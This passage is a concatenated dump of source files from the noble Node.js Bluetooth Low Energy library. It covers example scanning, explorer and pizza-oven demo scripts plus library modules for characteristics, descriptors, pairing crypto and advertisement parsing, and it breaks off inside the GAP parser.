15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /lib/noble/examples/advertisement-discovery.js: -------------------------------------------------------------------------------- 1 | var noble = require('../index'); 2 | 3 | noble.on('stateChange', function(state) { 4 | if (state === 'poweredOn') { 5 | noble.startScanning(); 6 | } else { 7 | noble.stopScanning(); 8 | } 9 | }); 10 | 11 | noble.on('discover', function(peripheral) { 12 | console.log('peripheral discovered (' + peripheral.id + 13 | ' with address <' + peripheral.address + ', ' + peripheral.addressType + '>,' + 14 | ' connectable ' + peripheral.connectable + ',' + 15 | ' RSSI ' + peripheral.rssi + ':'); 16 | console.log('\thello my local name is:'); 17 | console.log('\t\t' + peripheral.advertisement.localName); 18 | console.log('\tcan I interest you in any of the following advertised services:'); 19 | console.log('\t\t' + JSON.stringify(peripheral.advertisement.serviceUuids)); 20 | 21 | var serviceData = peripheral.advertisement.serviceData; 22 | if (serviceData && serviceData.length) { 23 | console.log('\there is my service data:'); 24 | for (var i in serviceData) { 25 | console.log('\t\t' + JSON.stringify(serviceData[i].uuid) + ': ' + JSON.stringify(serviceData[i].data.toString('hex'))); 26 | } 27 | } 28 | if (peripheral.advertisement.manufacturerData) { 29 | console.log('\there is my manufacturer data:'); 30 | console.log('\t\t' + JSON.stringify(peripheral.advertisement.manufacturerData.toString('hex'))); 31 | } 32 | if (peripheral.advertisement.txPowerLevel !== undefined) { 33 | console.log('\tmy TX power level is:'); 34 | console.log('\t\t' + peripheral.advertisement.txPowerLevel); 35 | } 36 | 37 | console.log(); 38 | }); 39 | 40 | -------------------------------------------------------------------------------- /lib/noble/examples/enter-exit.js: -------------------------------------------------------------------------------- 1 | /* 2 | Continously scans for peripherals and prints out message when they enter/exit 3 | 4 | In range criteria: RSSI < threshold 5 | Out of range criteria: lastSeen > grace period 6 | 7 | based on code provided by: Mattias Ask (http://www.dittlof.com) 8 | */ 9 | var noble = require('../index'); 10 | 11 | var RSSI_THRESHOLD = -90; 12 | var EXIT_GRACE_PERIOD = 2000; // milliseconds 13 | 14 | var inRange = []; 15 | 16 | noble.on('discover', function(peripheral) { 17 | if (peripheral.rssi < RSSI_THRESHOLD) { 18 | // ignore 19 | return; 20 | } 21 | 22 | var id = peripheral.id; 23 | var entered = !inRange[id]; 24 | 25 | if (entered) { 26 | inRange[id] = { 27 | peripheral: peripheral 28 | }; 29 | 30 | console.log('"' + peripheral.advertisement.localName + '" entered (RSSI ' + peripheral.rssi + ') ' + new Date()); 31 | } 32 | 33 | inRange[id].lastSeen = Date.now(); 34 | }); 35 | 36 | setInterval(function() { 37 | for (var id in inRange) { 38 | if (inRange[id].lastSeen < (Date.now() - EXIT_GRACE_PERIOD)) { 39 | var peripheral = inRange[id].peripheral; 40 | 41 | console.log('"' + peripheral.advertisement.localName + '" exited (RSSI ' + peripheral.rssi + ') ' + new Date()); 42 | 43 | delete inRange[id]; 44 | } 45 | } 46 | }, EXIT_GRACE_PERIOD / 2); 47 | 48 | noble.on('stateChange', function(state) { 49 | if (state === 'poweredOn') { 50 | noble.startScanning([], true); 51 | } else { 52 | noble.stopScanning(); 53 | } 54 | }); 55 | -------------------------------------------------------------------------------- /lib/noble/examples/peripheral-explorer.js: -------------------------------------------------------------------------------- 1 | var async = require('async'); 2 | var noble = require('../index'); 3 | 4 | var peripheralIdOrAddress = process.argv[2].toLowerCase(); 5 | 6 | noble.on('stateChange', function(state) { 7 | if (state === 'poweredOn') { 8 | noble.startScanning(); 9 | } else { 10 | noble.stopScanning(); 11 | } 12 | }); 13 | 14 | noble.on('discover', function(peripheral) { 15 | if (peripheral.id === peripheralIdOrAddress || peripheral.address === peripheralIdOrAddress) { 16 | noble.stopScanning(); 17 | 18 | console.log('peripheral with ID ' + peripheral.id + ' found'); 19 | var advertisement = peripheral.advertisement; 20 | 21 | var localName = advertisement.localName; 22 | var txPowerLevel = advertisement.txPowerLevel; 23 | var manufacturerData = advertisement.manufacturerData; 24 | var serviceData = advertisement.serviceData; 25 | var serviceUuids = advertisement.serviceUuids; 26 | 27 | if (localName) { 28 | console.log(' Local Name = ' + localName); 29 | } 30 | 31 | if (txPowerLevel) { 32 | console.log(' TX Power Level = ' + txPowerLevel); 33 | } 34 | 35 | if (manufacturerData) { 36 | console.log(' Manufacturer Data = ' + manufacturerData.toString('hex')); 37 | } 38 | 39 | if (serviceData) { 40 | console.log(' Service Data = ' + serviceData); 41 | } 42 | 43 | if (serviceUuids) { 44 | console.log(' Service UUIDs = ' + serviceUuids); 45 | } 46 | 47 | console.log(); 48 | 49 | explore(peripheral); 50 | } 51 | }); 52 | 53 | function explore(peripheral) { 54 | console.log('services and characteristics:'); 55 | 56 | peripheral.on('disconnect', function() { 57 | process.exit(0); 58 | }); 59 | 60 | peripheral.connect(function(error) { 61 | peripheral.discoverServices([], function(error, services) { 62 | var serviceIndex = 0; 63 | 64 | async.whilst( 65 | function () { 66 | return (serviceIndex < services.length); 67 | }, 68 | function(callback) { 69 | var service = services[serviceIndex]; 70 | var serviceInfo = service.uuid; 71 | 72 | if (service.name) { 73 | serviceInfo += ' (' + service.name + ')'; 74 | } 75 | console.log(serviceInfo); 76 | 77 | service.discoverCharacteristics([], function(error, characteristics) { 78 | var characteristicIndex = 0; 79 | 80 | async.whilst( 81 | function () { 82 | return (characteristicIndex < characteristics.length); 83 | }, 84 | function(callback) { 85 | var characteristic = characteristics[characteristicIndex]; 86 | var characteristicInfo = ' ' + characteristic.uuid; 87 | 88 | if (characteristic.name) { 89 | characteristicInfo += ' (' + characteristic.name + ')'; 90 | } 91 | 92 | async.series([ 93 | function(callback) { 94 | characteristic.discoverDescriptors(function(error, descriptors) { 95 | async.detect( 96 | descriptors, 97 | function(descriptor, callback) { 98 | return callback(descriptor.uuid === '2901'); 99 | }, 100 | function(userDescriptionDescriptor){ 101 | if (userDescriptionDescriptor) { 102 | userDescriptionDescriptor.readValue(function(error, data) { 103 | if (data) { 104 | characteristicInfo += ' (' + data.toString() + ')'; 105 | } 106 | callback(); 107 | }); 108 | } else { 109 | callback(); 110 | } 111 | } 112 | ); 113 | }); 114 | }, 115 | function(callback) { 116 | characteristicInfo += '\n properties ' + characteristic.properties.join(', '); 117 | 118 | if (characteristic.properties.indexOf('read') !== -1) { 119 | characteristic.read(function(error, data) { 120 | if (data) { 121 | var string = data.toString('ascii'); 122 | 123 | characteristicInfo += '\n value ' + data.toString('hex') + ' | \'' + string + '\''; 124 | } 125 | callback(); 126 | }); 127 | } else { 128 | callback(); 129 | } 130 | }, 131 | function() { 132 | console.log(characteristicInfo); 133 | characteristicIndex++; 134 | callback(); 135 | } 136 | ]); 137 | }, 138 | function(error) { 139 | serviceIndex++; 140 | callback(); 141 | } 142 | ); 143 | }); 144 | }, 145 | function (err) { 146 | peripheral.disconnect(); 147 | } 148 | ); 149 | }); 150 | }); 151 | } 152 | 153 | -------------------------------------------------------------------------------- /lib/noble/examples/pizza/README.md: -------------------------------------------------------------------------------- 1 | # BLE Pizza Service 2 | 3 | This is an example program demonstrating BLE connectivity between a peripheral running bleno, and a central running noble. 4 | 5 | This central connects to a robotic pizza oven service, with the following characteristics: 6 | 7 | * crust - read / write. A value representing the type of pizza crust (normal, thin, or deep dish) 8 | * toppings - read / write. A value representing which toppings to include (pepperoni, mushrooms, extra cheese, etc.) 9 | * bake - write / notify. The value written is the temperature at which to bake the pizza. When baking is finished, the central is notified with a bake result (half baked, crispy, burnt, etc.) 10 | 11 | To run the central example: 12 | 13 | node central 14 | 15 | And on another computer, start advertising a peripheral with [bleno](https://github.com/sandeepmistry/bleno/tree/master/examples/pizza). -------------------------------------------------------------------------------- /lib/noble/examples/pizza/central.js: -------------------------------------------------------------------------------- 1 | 2 | var noble = require('../..'); 3 | var pizza = require('./pizza'); 4 | 5 | var pizzaServiceUuid = '13333333333333333333333333333337'; 6 | var pizzaCrustCharacteristicUuid = '13333333333333333333333333330001'; 7 | var pizzaToppingsCharacteristicUuid = '13333333333333333333333333330002'; 8 | var pizzaBakeCharacteristicUuid = '13333333333333333333333333330003'; 9 | 10 | noble.on('stateChange', function(state) { 11 | if (state === 'poweredOn') { 12 | // 13 | // Once the BLE radio has been powered on, it is possible 14 | // to begin scanning for services. Pass an empty array to 15 | // scan for all services (uses more time and power). 16 | // 17 | console.log('scanning...'); 18 | noble.startScanning([pizzaServiceUuid], false); 19 | } 20 | else { 21 | noble.stopScanning(); 22 | } 23 | }) 24 | 25 | var pizzaService = null; 26 | var pizzaCrustCharacteristic = null; 27 | var pizzaToppingsCharacteristic = null; 28 | var pizzaBakeCharacteristic = null; 29 | 30 | noble.on('discover', function(peripheral) { 31 | // we found a peripheral, stop scanning 32 | noble.stopScanning(); 33 | 34 | // 35 | // The advertisment data contains a name, power level (if available), 36 | // certain advertised service uuids, as well as manufacturer data, 37 | // which could be formatted as an iBeacon. 38 | // 39 | console.log('found peripheral:', peripheral.advertisement); 40 | // 41 | // Once the peripheral has been discovered, then connect to it. 42 | // It can also be constructed if the uuid is already known. 43 | /// 44 | peripheral.connect(function(err) { 45 | // 46 | // Once the peripheral has been connected, then discover the 47 | // services and characteristics of interest. 48 | // 49 | peripheral.discoverServices([pizzaServiceUuid], function(err, services) { 50 | services.forEach(function(service) { 51 | // 52 | // This must be the service we were looking for. 53 | // 54 | console.log('found service:', service.uuid); 55 | 56 | // 57 | // So, discover its characteristics. 58 | // 59 | service.discoverCharacteristics([], function(err, characteristics) { 60 | 61 | characteristics.forEach(function(characteristic) { 62 | // 63 | // Loop through each characteristic and match them to the 64 | // UUIDs that we know about. 65 | // 66 | console.log('found characteristic:', characteristic.uuid); 67 | 68 | if (pizzaCrustCharacteristicUuid == characteristic.uuid) { 69 | pizzaCrustCharacteristic = characteristic; 70 | } 71 | else if (pizzaToppingsCharacteristicUuid == characteristic.uuid) { 72 | pizzaToppingsCharacteristic = characteristic; 73 | } 74 | else if (pizzaBakeCharacteristicUuid == characteristic.uuid) { 75 | pizzaBakeCharacteristic = characteristic; 76 | } 77 | }) 78 | 79 | // 80 | // Check to see if we found all of our characteristics. 81 | // 82 | if (pizzaCrustCharacteristic && 83 | pizzaToppingsCharacteristic && 84 | pizzaBakeCharacteristic) { 85 | // 86 | // We did, so bake a pizza! 87 | // 88 | bakePizza(); 89 | } 90 | else { 91 | console.log('missing characteristics'); 92 | } 93 | }) 94 | }) 95 | }) 96 | }) 97 | }) 98 | 99 | function bakePizza() { 100 | // 101 | // Pick the crust. 102 | // 103 | var crust = new Buffer(1); 104 | crust.writeUInt8(pizza.PizzaCrust.THIN, 0); 105 | pizzaCrustCharacteristic.write(crust, false, function(err) { 106 | if (!err) { 107 | // 108 | // Pick the toppings. 109 | // 110 | var toppings = new Buffer(2); 111 | toppings.writeUInt16BE( 112 | pizza.PizzaToppings.EXTRA_CHEESE | 113 | pizza.PizzaToppings.CANADIAN_BACON | 114 | pizza.PizzaToppings.PINEAPPLE, 115 | 0 116 | ); 117 | pizzaToppingsCharacteristic.write(toppings, false, function(err) { 118 | if (!err) { 119 | // 120 | // Subscribe to the bake notification, so we know when 121 | // our pizza will be ready. 122 | // 123 | pizzaBakeCharacteristic.on('read', function(data, isNotification) { 124 | console.log('Our pizza is ready!'); 125 | if (data.length === 1) { 126 | var result = data.readUInt8(0); 127 | console.log('The result is', 128 | result == pizza.PizzaBakeResult.HALF_BAKED ? 'half baked.' : 129 | result == pizza.PizzaBakeResult.BAKED ? 'baked.' : 130 | result == pizza.PizzaBakeResult.CRISPY ? 'crispy.' : 131 | result == pizza.PizzaBakeResult.BURNT ? 'burnt.' : 132 | result == pizza.PizzaBakeResult.ON_FIRE ? 'on fire!' : 133 | 'unknown?'); 134 | } 135 | else { 136 | console.log('result length incorrect') 137 | } 138 | }); 139 | pizzaBakeCharacteristic.subscribe(function(err) { 140 | // 141 | // Bake at 450 degrees! 142 | // 143 | var temperature = new Buffer(2); 144 | temperature.writeUInt16BE(450, 0); 145 | pizzaBakeCharacteristic.write(temperature, false, function(err) { 146 | if (err) { 147 | console.log('bake error'); 148 | } 149 | }); 150 | }); 151 | 152 | } 153 | else { 154 | console.log('toppings error'); 155 | } 156 | }); 157 | } 158 | else { 159 | console.log('crust error'); 160 | } 161 | }) 162 | } 163 | -------------------------------------------------------------------------------- /lib/noble/examples/pizza/pizza.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | var events = require('events'); 3 | 4 | var PizzaCrust = { 5 | NORMAL: 0, 6 | DEEP_DISH: 1, 7 | THIN: 2, 8 | }; 9 | 10 | var PizzaToppings = { 11 | NONE: 0, 12 | PEPPERONI: 1 << 0, 13 | MUSHROOMS: 1 << 1, 14 | EXTRA_CHEESE: 1 << 2, 15 | BLACK_OLIVES: 1 << 3, 16 | CANADIAN_BACON: 1 << 4, 17 | PINEAPPLE: 1 << 5, 18 | BELL_PEPPERS: 1 << 6, 19 | SAUSAGE: 1 << 7, 20 | }; 21 | 22 | var PizzaBakeResult = { 23 | HALF_BAKED: 0, 24 | BAKED: 1, 25 | CRISPY: 2, 26 | BURNT: 3, 27 | ON_FIRE: 4 28 | } 29 | 30 | function Pizza() { 31 | events.EventEmitter.call(this); 32 | this.toppings = PizzaToppings.NONE; 33 | this.crust = PizzaCrust.NORMAL; 34 | } 35 | 36 | util.inherits(Pizza, events.EventEmitter); 37 | 38 | Pizza.prototype.bake = function(temperature) { 39 | var time = temperature * 10; 40 | var self = this; 41 | console.log('baking pizza at', temperature, 'degrees for', time, 'milliseconds'); 42 | setTimeout(function() { 43 | var result = 44 | (temperature < 350) ? PizzaBakeResult.HALF_BAKED: 45 | (temperature < 450) ? PizzaBakeResult.BAKED: 46 | (temperature < 500) ? PizzaBakeResult.CRISPY: 47 | (temperature < 600) ? PizzaBakeResult.BURNT: 48 | PizzaBakeResult.ON_FIRE; 49 | self.emit('ready', result); 50 | }, time); 51 | } 52 | 53 | module.exports.Pizza = Pizza; 54 | module.exports.PizzaToppings = PizzaToppings; 55 | module.exports.PizzaCrust = PizzaCrust; 56 | module.exports.PizzaBakeResult = PizzaBakeResult; 57 | -------------------------------------------------------------------------------- /lib/noble/index.js: -------------------------------------------------------------------------------- 1 | var Noble = require('./lib/noble'); 2 | var bindings = require('./lib/resolve-bindings')(); 3 | 4 | module.exports = new Noble(bindings); 5 | -------------------------------------------------------------------------------- /lib/noble/lib/characteristic.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('characteristic'); 2 | 3 | var events = require('events'); 4 | var util = require('util'); 5 | 6 | var characteristics = require('./characteristics.json'); 7 | 8 | function Characteristic(noble, peripheralId, serviceUuid, uuid, properties) { 9 | this._noble = noble; 10 | this._peripheralId = peripheralId; 11 | this._serviceUuid = serviceUuid; 12 | 13 | this.uuid = uuid; 14 | this.name = null; 15 | this.type = null; 16 | this.properties = properties; 17 | this.descriptors = null; 18 | 19 | var characteristic = characteristics[uuid]; 20 | if (characteristic) { 21 | this.name = characteristic.name; 22 | this.type = characteristic.type; 23 | } 24 | } 25 | 26 | util.inherits(Characteristic, events.EventEmitter); 27 | 28 | Characteristic.prototype.toString = function() { 29 | return JSON.stringify({ 30 | uuid: this.uuid, 31 | name: this.name, 32 | type: this.type, 33 | properties: this.properties 34 | }); 35 | }; 36 | 37 | Characteristic.prototype.read = function(callback) { 38 | if (callback) { 39 | this.once('read', function(data) { 40 | callback(null, data); 41 | }); 42 | } 43 | 44 | this._noble.read( 45 | this._peripheralId, 46 | this._serviceUuid, 47 | this.uuid 48 | ); 49 | }; 50 | 51 | Characteristic.prototype.write = function(data, withoutResponse, callback) { 52 | if (process.title !== 'browser') { 53 | if (!(data instanceof Buffer)) { 54 | throw new Error('data must be a Buffer'); 55 | } 56 | } 57 | 58 | if (callback) { 59 | this.once('write', function() { 60 | callback(null); 61 | }); 62 | } 63 | 64 | this._noble.write( 65 | this._peripheralId, 66 | this._serviceUuid, 67 | this.uuid, 68 | data, 69 | withoutResponse 70 | ); 71 | }; 72 | 73 | Characteristic.prototype.broadcast = function(broadcast, callback) { 74 | if (callback) { 75 | this.once('broadcast', function() { 76 | callback(null); 77 | }); 78 | } 79 | 80 | this._noble.broadcast( 81 | this._peripheralId, 82 | this._serviceUuid, 83 | this.uuid, 84 | broadcast 85 | ); 86 | }; 87 | 88 | // deprecated in favour of subscribe/unsubscribe 89 | Characteristic.prototype.notify = function(notify, callback) { 90 | if (callback) { 91 | this.once('notify', function() { 92 | callback(null); 93 | }); 94 | } 95 | 96 | this._noble.notify( 97 | this._peripheralId, 98 | this._serviceUuid, 99 | this.uuid, 100 | notify 101 | ); 102 | }; 103 | 104 | Characteristic.prototype.subscribe = function(callback) { 105 | this.notify(true, callback); 106 | }; 107 | 108 | Characteristic.prototype.unsubscribe = function(callback) { 109 | this.notify(false, callback); 110 | }; 111 | 112 | Characteristic.prototype.discoverDescriptors = function(callback) { 113 | if (callback) { 114 | this.once('descriptorsDiscover', function(descriptors) { 115 | callback(null, descriptors); 116 | }); 117 | } 118 | 119 | this._noble.discoverDescriptors( 120 | this._peripheralId, 121 | this._serviceUuid, 122 | this.uuid 123 | ); 124 | }; 125 | 126 | module.exports = Characteristic; 127 | -------------------------------------------------------------------------------- /lib/noble/lib/descriptor.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('descriptor'); 2 | 3 | var events = require('events'); 4 | var util = require('util'); 5 | 6 | var descriptors = require('./descriptors.json'); 7 | 8 | function Descriptor(noble, peripheralId, serviceUuid, characteristicUuid, uuid) { 9 | this._noble = noble; 10 | this._peripheralId = peripheralId; 11 | this._serviceUuid = serviceUuid; 12 | this._characteristicUuid = characteristicUuid; 13 | 14 | this.uuid = uuid; 15 | this.name = null; 16 | this.type = null; 17 | 18 | var descriptor = descriptors[uuid]; 19 | if (descriptor) { 20 | this.name = descriptor.name; 21 | this.type = descriptor.type; 22 | } 23 | } 24 | 25 | util.inherits(Descriptor, events.EventEmitter); 26 | 27 | Descriptor.prototype.toString = function() { 28 | return JSON.stringify({ 29 | uuid: this.uuid, 30 | name: this.name, 31 | type: this.type 32 | }); 33 | }; 34 | 35 | Descriptor.prototype.readValue = function(callback) { 36 | if (callback) { 37 | this.once('valueRead', function(data) { 38 | callback(null, data); 39 | }); 40 | } 41 | this._noble.readValue( 42 | this._peripheralId, 43 | this._serviceUuid, 44 | this._characteristicUuid, 45 | this.uuid 46 | ); 47 | }; 48 | 49 | Descriptor.prototype.writeValue = function(data, callback) { 50 | if (!(data instanceof Buffer)) { 51 | throw new Error('data must be a Buffer'); 52 | } 53 | 54 | if (callback) { 55 | this.once('valueWrite', function() { 56 | callback(null); 57 | }); 58 | } 59 | this._noble.writeValue( 60 | this._peripheralId, 61 | this._serviceUuid, 62 | this._characteristicUuid, 63 | this.uuid, 64 | data 65 | ); 66 | }; 67 | 68 | module.exports = Descriptor; 69 | -------------------------------------------------------------------------------- /lib/noble/lib/descriptors.json: -------------------------------------------------------------------------------- 1 | { 2 | "2900" : { "name" : "Characteristic Extended Properties" 3 | , "type" : "org.bluetooth.descriptor.gatt.characteristic_extended_properties" 4 | } 5 | , "2901" : { "name" : "Characteristic User Description" 6 | , "type" : "org.bluetooth.descriptor.gatt.characteristic_user_description" 7 | } 8 | , "2902" : { "name" : "Client Characteristic Configuration" 9 | , "type" : "org.bluetooth.descriptor.gatt.client_characteristic_configuration" 10 | } 11 | , "2903" : { "name" : "Server Characteristic Configuration" 12 | , "type" : "org.bluetooth.descriptor.gatt.server_characteristic_configuration" 13 | } 14 | , "2904" : { "name" : "Characteristic Presentation Format" 15 | , "type" : "org.bluetooth.descriptor.gatt.characteristic_presentation_format" 16 | } 17 | , "2905" : { "name" : "Characteristic Aggregate Format" 18 | , "type" : "org.bluetooth.descriptor.gatt.characteristic_aggregate_format" 19 | } 20 | , "2906" : { "name" : "Valid Range" 21 | , "type" : "org.bluetooth.descriptor.valid_range" 22 | } 23 | , "2907" : { "name" : "External Report Reference" 24 | , "type" : "org.bluetooth.descriptor.external_report_reference" 25 | } 26 | , "2908" : { "name" : "Report Reference" 27 | , "type" : "org.bluetooth.descriptor.report_reference" 28 | } 29 | , "2909" : { "name" : "Number of Digitals" 30 | , "type" : "org.bluetooth.descriptor.number_of_digitals" 31 | } 32 | , "290a" : { "name" : "Value Trigger Setting" 33 | , "type" : "org.bluetooth.descriptor.value_trigger_setting" 34 | } 35 | , "290b" : { "name" : "Environmental Sensing Configuration" 36 | , "type" : "org.bluetooth.descriptor.environmental_sensing_configuration" 37 | } 38 | , "290c" : { "name" : "Environmental Sensing Measurement" 39 | , "type" : "org.bluetooth.descriptor.environmental_sensing_measurement" 40 | } 41 | , "290d" : { "name" : "Environmental Sensing Trigger Setting" 42 | , "type" : "org.bluetooth.descriptor.environmental_sensing_trigger_setting" 43 | } 44 | , "290e" : { "name" : "Time Trigger Setting" 45 | , "type" : "org.bluetooth.descriptor.time_trigger_setting" 46 | } 47 | } -------------------------------------------------------------------------------- /lib/noble/lib/hci-socket/acl-stream.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('acl-att-stream'); 2 | 3 | var events = require('events'); 4 | var util = require('util'); 5 | 6 | var Smp = require('./smp'); 7 | 8 | var AclStream = function(hci, handle, localAddressType, localAddress, remoteAddressType, remoteAddress) { 9 | this._hci = hci; 10 | this._handle = handle; 11 | 12 | this._smp = new Smp(this, localAddressType, localAddress, remoteAddressType, remoteAddress); 13 | 14 | this.onSmpStkBinded = this.onSmpStk.bind(this); 15 | this.onSmpFailBinded = this.onSmpFail.bind(this); 16 | this.onSmpEndBinded = this.onSmpEnd.bind(this); 17 | 18 | this._smp.on('stk', this.onSmpStkBinded); 19 | this._smp.on('fail', this.onSmpFailBinded); 20 | this._smp.on('end', this.onSmpEndBinded); 21 | }; 22 | 23 | util.inherits(AclStream, events.EventEmitter); 24 | 25 | AclStream.prototype.encrypt = function() { 26 | this._smp.sendPairingRequest(); 27 | }; 28 | 29 | AclStream.prototype.write = function(cid, data) { 30 | this._hci.writeAclDataPkt(this._handle, cid, data); 31 | }; 32 | 33 | AclStream.prototype.push = function(cid, data) { 34 | if (data) { 35 | this.emit('data', cid, data); 36 | } else { 37 | this.emit('end'); 38 | } 39 | }; 40 | 41 | AclStream.prototype.pushEncrypt = function(encrypt) { 42 | this.emit('encrypt', encrypt); 43 | }; 44 | 45 | AclStream.prototype.onSmpStk = function(stk) { 46 | var random = new Buffer('0000000000000000', 'hex'); 47 | var diversifier = new Buffer('0000', 'hex'); 48 | 49 | this._hci.startLeEncryption(this._handle, random, diversifier, stk); 50 | }; 51 | 52 | AclStream.prototype.onSmpFail = function() { 53 | this.emit('encryptFail'); 54 | }; 55 | 56 | AclStream.prototype.onSmpEnd = function() { 57 | this._smp.removeListener('stk', this.onSmpStkBinded); 58 | this._smp.removeListener('fail', this.onSmpFailBinded); 59 | this._smp.removeListener('end', this.onSmpEndBinded); 60 | }; 61 | 62 | module.exports = AclStream; 63 | -------------------------------------------------------------------------------- /lib/noble/lib/hci-socket/crypto.js: -------------------------------------------------------------------------------- 1 | var crypto = require('crypto'); 2 | 3 | function r() { 4 | return crypto.randomBytes(16); 5 | } 6 | 7 | function c1(k, r, pres, preq, iat, ia, rat, ra) { 8 | var p1 = Buffer.concat([ 9 | iat, 10 | rat, 11 | preq, 12 | pres 13 | ]); 14 | 15 | var p2 = Buffer.concat([ 16 | ra, 17 | ia, 18 | new Buffer('00000000', 'hex') 19 | ]); 20 | 21 | var res = xor(r, p1); 22 | res = e(k, res); 23 | res = xor(res, p2); 24 | res = e(k, res); 25 | 26 | return res; 27 | } 28 | 29 | function s1(k, r1, r2) { 30 | return e(k, Buffer.concat([ 31 | r2.slice(0, 8), 32 | r1.slice(0, 8) 33 | ])); 34 | } 35 | 36 | function e(key, data) { 37 | key = swap(key); 38 | data = swap(data); 39 | 40 | var cipher = crypto.createCipheriv('aes-128-ecb', key, ''); 41 | cipher.setAutoPadding(false); 42 | 43 | return swap(Buffer.concat([ 44 | cipher.update(data), 45 | cipher.final() 46 | ])); 47 | } 48 | 49 | function xor(b1, b2) { 50 | var result = new Buffer(b1.length); 51 | 52 | for (var i = 0; i < b1.length; i++) { 53 | result[i] = b1[i] ^ b2[i]; 54 | } 55 | 56 | return result; 57 | } 58 | 59 | function swap(input) { 60 | var output = new Buffer(input.length); 61 | 62 | for (var i = 0; i < output.length; i++) { 63 | output[i] = input[input.length - i - 1]; 64 | } 65 | 66 | return output; 67 | } 68 | 69 | module.exports = { 70 | r: r, 71 | c1: c1, 72 | s1: s1, 73 | e: e 74 | }; 75 | -------------------------------------------------------------------------------- /lib/noble/lib/hci-socket/gap.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('gap'); 2 | 3 | var events = require('events'); 4 | var util = require('util'); 5 | 6 | var Gap = function(hci) { 7 | this._hci = hci; 8 | 9 | this._scanState = null; 10 | this._scanFilterDuplicates = null; 11 | this._discoveries = {}; 12 | 13 | this._hci.on('error', this.onHciError.bind(this)); 14 | this._hci.on('leScanParametersSet', this.onHciLeScanParametersSet.bind(this)); 15 | this._hci.on('leScanEnableSet', this.onHciLeScanEnableSet.bind(this)); 16 | this._hci.on('leAdvertisingReport', this.onHciLeAdvertisingReport.bind(this)); 17 | 18 | this._hci.on('leScanEnableSetCmd', this.onLeScanEnableSetCmd.bind(this)); 19 | }; 20 | 21 | util.inherits(Gap, events.EventEmitter); 22 | 23 | Gap.prototype.startScanning = function(allowDuplicates) { 24 | this._scanState = 'starting'; 25 | this._scanFilterDuplicates = !allowDuplicates; 26 | 27 | this._hci.setScanEnabled(true, this._scanFilterDuplicates); 28 | }; 29 | 30 | Gap.prototype.stopScanning = function() { 31 | this._scanState = 'stopping'; 32 | 33 | this._hci.setScanEnabled(false, true); 34 | }; 35 | 36 | Gap.prototype.onHciError = function(error) { 37 | 38 | }; 39 | 40 | Gap.prototype.onHciLeScanParametersSet = function() { 41 | 42 | }; 43 | 44 | // Called when receive an event "Command Complete" for "LE Set Scan Enable" 45 | Gap.prototype.onHciLeScanEnableSet = function(status) { 46 | // Check the status we got from the command complete function. 47 | if (status !== 0) { 48 | // If it is non-zero there was an error, and we should not change 49 | // our status as a result. 50 | return; 51 | } 52 | 53 | if (this._scanState === 'starting') { 54 | this._scanState = 'started'; 55 | 56 | this.emit('scanStart', this._scanFilterDuplicates); 57 | } else if (this._scanState === 'stopping') { 58 | this._scanState = 'stopped'; 59 | 60 | this.emit('scanStop'); 61 | } 62 | }; 63 | 64 | // Called when we see the actual command "LE Set Scan Enable" 65 | Gap.prototype.onLeScanEnableSetCmd = function(enable, filterDuplicates) { 66 | // Check to see if the new settings differ from what we expect. 67 | // If we are scanning, then a change happens if the new command stops 68 | // scanning or if duplicate filtering changes. 69 | // If we are not scanning, then a change happens if scanning was enabled. 70 | if ((this._scanState == 'starting' || this._scanState == 'started')) { 71 | if (!enable) { 72 | this.emit('scanStop'); 73 | } else if (this._scanFilterDuplicates !== filterDuplicates) { 74 | this._scanFilterDuplicates = filterDuplicates; 75 | 76 | this.emit('scanStart', this._scanFilterDuplicates); 77 | } 78 | } else if ((this._scanState == 'stopping' || this._scanState == 'stopped') && 79 | (enable)) { 80 | // Someone started scanning on us. 81 | this.emit('scanStart', this._scanFilterDuplicates); 82 | } 83 | }; 84 | 85 | Gap.prototype.onHciLeAdvertisingReport = function(status, type, address, addressType, eir, rssi) { 86 | var previouslyDiscovered = !!this._discoveries[address]; 87 | var advertisement = previouslyDiscovered ? this._discoveries[address].advertisement : { 88 | localName: undefined, 89 | txPowerLevel: undefined, 90 | manufacturerData: undefined, 91 | serviceData: [], 92 | serviceUuids: [] 93 | }; 94 | 95 | var discoveryCount = previouslyDiscovered ? this._discoveries[address].count : 0; 96 | var hasScanResponse = previouslyDiscovered ? this._discoveries[address].hasScanResponse : false; 97 | 98 | if (type === 0x04) { 99 | hasScanResponse = true; 100 | advertisement.scanResponse=eir; 101 | } else { 102 | // reset service data every non-scan response event 103 | advertisement.serviceData = []; 104 | advertisement.serviceUuids = []; 105 | advertisement.eir=eir; 106 | } 107 | 108 | discoveryCount++; 109 | 110 | var i = 0; 111 | var j = 0; 112 | var serviceUuid = null; 113 | 114 | while ((i + 1) < eir.length) { 115 | var length = eir.readUInt8(i); 116 | 117 | if (length < 1) { 118 | debug('invalid EIR data, length = ' + length); 119 | break; 120 | } 121 | 122 | var eirType = eir.readUInt8(i + 1); // https://www.bluetooth.org/en-us/specification/assigned-numbers/generic-access-profile 123 | 124 | if ((i + length + 1) > eir.length) { 125 | debug('invalid EIR data, out of range of buffer length'); 126 | break; 127 | } 128 | 129 | var bytes = eir.slice(i + 2).slice(0, length - 1); 130 | 131 | switch(eirType) { 132 | case 0x02: // Incomplete List of 16-bit Service Class UUID 133 | case 0x03: // Complete List of 16-bit Service Class UUIDs 134 | for (j = 0; j < bytes.length; j += 2) { 135 | serviceUuid = bytes.readUInt16LE(j).toString(16); 136 | if (advertisement.serviceUuids.indexOf(serviceUuid) === -1) { 137 | advertisement.serviceUuids.push(serviceUuid); 138 | } 139 | } 140 | break; 141 | 142 | case 0x06: // Incomplete List of 128-bit Service Class UUIDs 143 | case 0x07: // 